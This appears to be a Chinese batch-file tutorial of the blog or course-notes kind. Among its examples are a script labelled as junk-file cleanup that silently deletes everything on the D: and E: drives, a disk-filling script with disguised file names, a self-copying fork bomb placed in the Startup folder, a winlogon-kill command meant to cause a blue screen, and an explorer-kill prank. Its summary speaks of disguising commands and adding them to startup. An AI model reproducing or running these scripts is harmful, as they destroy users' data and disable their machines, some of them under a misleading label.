批处理文件
0批处理的作用
自上而下成批地处理每一条命令,直到执行最后一条!即便其中某一行命令执行出错,也继续执行后续命令。
1创建批处理文件
新建一个记事本文件,然后将扩展名改为.bat。
批处理文件是以cmd执行的可执行文件,双击即可执行。
2示例
2.1删除垃圾文件
#批处理文件中不能采用#号的注释方式,可以采用其他注释方式,如::等,但均是行注释,本代码为方便逐行注释,采用Python的注释方式。
@echo off #关闭回显功能,屏蔽过程。
color 0a #设置背景和字体颜色
title clear files #设置程序标题
echo ==========================
echo clear your files
echo ==========================
pause #设置暂停,不至于瞬间执行完毕退出
echo. #输出空一行
echo files is chearing #
d: >nul 2>nul #“nul”是空的意思。不返回任何结果,无论它是错是对。
cd\ >nul 2>nul #返回D盘根目录
rd . /s/q >nul 2>nul #删除文件及文件夹,部分受系统保护的会提示拒绝访问,使用>nul设置不显示该类提示。
e: >nul 2>nul #“nul”是空的意思。不返回任何结果,无论它是错是对。
cd\ >nul 2>nul #返回E盘根目录
rd . /s/q >nul 2>nul #
ping -n 1 127.0.0.1 >nul 2>nul #可以增加一些不显示的操作
echo congratuation #提示测试结束
pause #
2.2生成垃圾文件
本代码需要以管理员运行
d: >nul 2>nul
cd\ >nul 2>nul
fsutil file creatnew d:sys1.ini 102400000
fsutil file creatnew d:sys2.ini 102400000
fsutil file creatnew d:sys3.ini 102400000
fsutil file creatnew d:sys4.ini 102400000
2.3将死循环添加到启动项
copy %~f0 "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
:xunhuan
start
goto xunhuan
几点说明:
- 请在虚拟机中win7系统上学习使用,不同系统启动路径不一样。
- %~f0:表示当前批处理文件的完整路径。
- userprofile:变量,表示当前用户名,用%%表示获取变量值。
- 有变量及其他符号,需要采用””括起来。
- 冒号代表命名一个代码段,goto表示跳转到一个代码段。
2.4定时小程序
@echo off
color 0a
title 定时小程序V1.0
:menu
cls
echo ==========================
echo 菜单
echo 1.定时关机
echo 2.取消定时
echo 3.退出
echo ==========================
set /p choose=输入您的选择序号
if "%choose%" =="1" goto 1.定时关机
if "%choose%" =="2" goto 2.取消定时
if "%choose%" =="3" goto 3.退出
echo 别TM瞎搞,请输入1 2 3。
pause
goto menu
:1.定时关机
set /p timeoff=输入定时关机时间(s):
shutdown -s -f -t %timeoff%
goto menu
:2.取消定时
shutdown -a
goto menu
:3.退出
exit
几点说明:
- set设置变量,/p表示变量值为用户输入。
- 注意逻辑完整,提示信息完整。
2.5致使winXP与2003蓝屏的代码
nstd -c q -pn winlogon.exe
几点说明:
- ntsd,强制杀进程.
- 因为该进程是批处理执行所需要,所以系统会蓝屏。
2.6关闭win7桌面
@echo off
color 0a
taskkill /im explorer.exe /f
echo 完蛋了
ping -n 5 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 吓唬你的
pause
几点说明:
- taskkill,杀进程。
- /im指定进程。
- /f强制执行
- explorer桌面进程
3总结
本节课程在学习nas基本命令的基础上,使用批处理文件对一些特殊功能的命令进行伪装、添加到启动项等操作,应注意代码逻辑的完整。
4参考文献
版权声明:本文为Fighting_hawk原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。